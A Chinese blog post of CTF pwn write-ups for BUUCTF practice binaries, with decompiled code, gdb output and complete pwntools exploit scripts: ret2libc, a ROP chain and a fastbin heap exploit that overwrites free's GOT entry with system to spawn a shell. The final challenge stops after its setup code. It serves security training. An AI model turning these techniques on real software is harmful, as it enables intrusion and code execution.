<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BUU_PWN刷题_0x21-0x2F 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BUU_PWN刷题_0x21-0x2F
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-07-11
      </span>

                                                                        <span class="post-pubtime"> 本文共5.9k字 </span>

                                                                        <span class="post-pubtime">
        大约需要53min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h2 id="0x20-jarvisoj-level3-x64"><a href="#0x20-jarvisoj-level3-x64" class="headerlink" title="0x20.jarvisoj_level3_x64"></a>0x20.jarvisoj_level3_x64</h2><p>ret2libc</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./level3_x64&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">29779</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./level3_x64&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">read_got = elf.got[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">main_addr = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x4006b3</span></span><br><span class="line">pop_rsi_r15_ret = <span class="number">0x4006b1</span></span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>)+ p64(pop_rdi_ret)+p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(pop_rsi_r15_ret) +p64(read_got)+p64(<span class="number">8</span>)+p64(write_plt)+ p64(main_addr)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">read_add = u64(io.recv()[<span class="number">0</span>:<span class="number">8</span>])</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(read_add)</span><br><span class="line">base = read_add - libc.symbols[<span class="string">&quot;read&quot;</span>]</span><br><span class="line">sys_add = base + libc.symbols[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_add)+p64(main_addr)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x21-picoctf-2018-rop-chain"><a href="#0x21-picoctf-2018-rop-chain" class="headerlink" title="0x21.picoctf_2018_rop chain"></a>0x21.picoctf_2018_rop chain</h2><p>win1():</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">win_function1</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  win1 = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>win2():</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">win_function2</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  result = (<span class="keyword">unsigned</span> __int8)win1;</span><br><span class="line">  <span class="keyword">if</span> ( win1 &amp;&amp; a1 == <span class="number">0xBAAAAAAD</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    win2 = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( win1 )</span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">&quot;Wrong Argument. Try Again.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">&quot;Nope. Try a little bit harder.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>flag():</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">flag</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">48</span>]; <span class="comment">// [esp+Ch] [ebp-3Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(</span><br><span class="line">      <span class="string">&quot;Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">48</span>, stream);</span><br><span class="line">  <span class="keyword">if</span> ( win1 &amp;&amp; win2 &amp;&amp; a1 == <span class="number">0xDEADBAAD</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">if</span> ( win1 &amp;&amp; win2 )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Incorrect Argument. Remember, you can call other functions in between each win function!&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( win1 || win2 )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Nice Try! You&#x27;re Getting There!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;You won&#x27;t get the flag that easy..&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>构造ROP链</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./PicoCTF_2018_rop_chain&quot;</span>)</span><br><span class="line">win1 = <span class="number">0x80485CB</span></span><br><span class="line">win2 = <span class="number">0x80485D8</span></span><br><span class="line">flag = <span class="number">0x804862B</span></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>)+p32(win1) + p32(win2)+ p32(flag) + p32(<span class="number">0xBAAAAAAD</span>) +p32(<span class="number">0xDEADBAAD</span>) </span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x22-ZJCTF-2019-EasyHeap"><a href="#0x22-ZJCTF-2019-EasyHeap" class="headerlink" title="0x22.[ZJCTF 2019]EasyHeap"></a>0x22.[ZJCTF 2019]EasyHeap</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">      v3 = atoi(buf);</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">3</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      delete_heap();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4869</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int64)magic &lt;= <span class="number">0x1305</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;So sad !&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Congrt !&quot;</span>);</span><br><span class="line">          l33t();</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">LABEL_17:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Invalid Choice&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      create_heap();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      edit_heap();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>creat没有什么问题，但是edit有问题，可以重新写任意长度。</p>
<p>delete在free后相应的heaparray就置位0。</p>
<p>大致思路是这样</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">create(<span class="number">0x10</span>,<span class="string">&quot;a&quot;</span>*<span class="number">0x10</span>)<span class="comment">#idx0</span></span><br><span class="line">create(<span class="number">0x80</span>,<span class="string">&quot;b&quot;</span>*<span class="number">0x10</span>)<span class="comment">#idx1</span></span><br><span class="line">create(<span class="number">0x80</span>,<span class="string">&quot;c&quot;</span>*<span class="number">0x10</span>)<span class="comment">#idx2  防止与top chunk合并</span></span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x30</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x91</span>)+p64(<span class="number">0</span>)+p64(magic-<span class="number">0x10</span>))</span><br><span class="line">io.recvuntil(<span class="string">&quot;your choice: &quot;</span>)</span><br><span class="line">io.interactive(<span class="built_in">str</span>(<span class="number">4869</span>))</span><br></pre></td></tr></table></figure>

<p>但是很可惜，buu他没有&#x2F;home&#x2F;pwn&#x2F;flag这个文件，所以得用其他的方法了。</p>
<p>另一个思路：</p>
<ul>
<li>首先create 3个chunk</li>
<li>使用house of sprite 技术，伪造chunk到heaparray附近，找一个地址开头为7f的来伪造相应大小的fastbin</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32xw 0x6020a0 -3</span><br><span class="line">0x60209d:	0x20000000	0x05212e06	0x0000007f	0x00000000</span><br><span class="line">0x6020ad:	0xe0000000	0x05212df8	0x0000007f	0x00000000</span><br><span class="line">0x6020bd:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x6020cd:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x6020dd:	0x10000000	0x0000db50	0x30000000	0x0000db50</span><br><span class="line">0x6020ed &lt;heaparray+13&gt;:	0x50000000	0x0000db50	0x70000000	0x0000db50</span><br><span class="line">0x6020fd &lt;heaparray+29&gt;:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x60210d &lt;heaparray+45&gt;:	0x00000000	0x00000000	0x00000000	0x00000000</span><br></pre></td></tr></table></figure>

<ul>
<li>在chunk1写入&#x2F;bin&#x2F;sh，free掉chunk2</li>
<li>edit chunk1，并修改chunk2的fd为0x6020b0 -3</li>
<li>之后malloc两次，并修改heaparray为free_got.</li>
<li>继续ecit0，将free_got改为system</li>
<li>再之后delete chunk1就能拿到shell</li>
</ul>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./easyheap&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">26600</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./easyheap&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">creat_heap</span>(<span class="params">index,size,payload</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Size of Heap : &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Content of heap:&quot;</span>)</span><br><span class="line">	io.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit_heap</span>(<span class="params">index,size,payload</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Size of Heap : &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Content of heap : &quot;</span>)</span><br><span class="line">	io.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_heap</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">heaparray = <span class="number">0x6020b0</span></span><br><span class="line">free_got = elf.got[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">sys = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">creat_heap(<span class="number">0</span>,<span class="number">0x68</span>,<span class="string">&quot;a&quot;</span>*<span class="number">10</span>)<span class="comment">#idx0</span></span><br><span class="line">creat_heap(<span class="number">1</span>,<span class="number">0x68</span>,<span class="string">&quot;b&quot;</span>*<span class="number">10</span>)<span class="comment">#idx1</span></span><br><span class="line">creat_heap(<span class="number">2</span>,<span class="number">0x68</span>,<span class="string">&quot;c&quot;</span>*<span class="number">10</span>)<span class="comment">#idx2</span></span><br><span class="line">delete_heap(<span class="number">2</span>)</span><br><span class="line">payload = <span class="string">&quot;/bin/sh\x00&quot;</span> + p64(<span class="number">0</span>)*<span class="number">12</span> + p64(<span class="number">0x71</span>) +p64(heaparray - <span class="number">3</span>)</span><br><span class="line">edit_heap(<span class="number">1</span>,size(payload),payload)</span><br><span class="line">payload = <span class="string">&quot;\xaa&quot;</span>*<span class="number">3</span>+p64(<span class="number">0</span>)*<span class="number">4</span> + p64(free_got)</span><br><span class="line">creat_heap(<span class="number">0</span>,<span class="number">0x68</span>,<span class="string">&quot;aaa&quot;</span>)<span class="comment">#idx2</span></span><br><span class="line">creat_heap(<span class="number">0</span>,<span class="number">0x68</span>,<span class="string">&#x27;a&#x27;</span>)<span class="comment">#fake_chunk</span></span><br><span class="line">edit_heap(<span class="number">3</span>,<span class="built_in">len</span>(payload),payload)</span><br><span class="line">edit_heap(<span class="number">0</span>,<span class="built_in">len</span>(p64(sys)),p64(sys))</span><br><span class="line">delete_heap(<span class="number">1</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x23-bjdctf-2020-babyrop2"><a href="#0x23-bjdctf-2020-babyrop2" class="headerlink" title="0x23.bjdctf_2020_babyrop2"></a>0x23.bjdctf_2020_babyrop2</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec bjdctf_2020_babyrop2 </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/bjdctf_2020_babyrop2&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<p>开了对战不可执行和canary。</p>
<p>主函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  init();</span><br><span class="line">  gift(argc, argv);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v1 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">1</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Can u return to libc ?&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Try u best!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

